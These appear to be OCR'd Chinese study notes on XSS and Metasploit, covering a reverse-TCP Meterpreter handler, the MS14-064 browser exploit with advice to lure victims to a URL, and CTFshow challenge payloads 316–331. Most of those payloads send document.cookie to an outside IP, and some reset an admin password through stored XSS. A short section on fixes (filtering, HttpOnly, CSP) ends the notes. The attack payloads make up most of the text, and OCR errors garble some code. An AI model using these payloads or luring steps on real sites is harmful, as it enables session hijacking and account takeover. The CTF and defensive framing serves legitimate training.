use exploit/multi/handler
set payload windows/meterpreter/reverse tcp
set lhost 0.0.0.0
set lport 6666
run
5、诱使受害者访问UR工-语言要适当
#XSS-浏览器网马配合MSF访问上线
-条件:beef上线受控后或直接钓鱼(浏览器存在0day)
1、配置MSF生成URI
use exploit/windows/browser/ms14 064 ole code execution
set allowpowershellprompt true
set target 1
run
2、诱使受害者访问URL-语言要适当
#XSS绕过-CTFSHO0W-361到331关卡绕过WP
绕过:https://xz.a1iyun.com/t/4067
316-反射型-直接远程调用
<script>window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie</script>
317-反射型-过滤<script>
<img src=1
onerror=window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie;>
318 319-反射型-过滤<img>
<input
onload="window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie;"
<svg
onload="window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie;"
320-326-反射型-过滤空格
<svg/onload="window.location.href='http://47.94.236.117/get.php?c
='+document.cookie;">
327-存储型-无过滤
<script>window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie</script>
328-存储型-注册插入JS
<script>window.location.href='http://47.94.236.117/get.php?c='+do
cument.cookie</script>
329-存储型-失效凭据需1步完成所需操作
<script>
$('.laytable-cell-1-0-1').each(function (index,value){
if (value.innerHTML.indexof (ctf'+'show')>-1){
window.location.href='http://47.94.236.117/get.php?c='+value.inne
rHTML;
}
})
</script>
330-存储型-借助修改密码重置管理员密码(GET)
<script>window.location.href='http://127.0.0.1/api/change.php?p=1
23;</script>
331-存储型-借助修改密码重置管理员密码(P0ST)
<script>$.ajax ({url:'http://127.0.0.1/api/change.php',type:'post'
data:(p:'123'}});</script>
#XSS修复-过滤函数&http only&CSP&长度限制
1、过滤一些危险字符,以及转义&<>"'等危险字符
自定义过滤函数引用
2、HTTP-only Cookie
https://www.php.cn/php-ask-457831.html
php.ini设置或代码l用
session.cookie httponly =1
ini set(“session.cookie_httponly”,1);
3、设置CSP(Content Security Policy)
https://blog.csdn.net/a1766855068/article/details/89370320
header("Content-Security-Policy img-src 'self ")
4、输入内容长度限制,实体转义等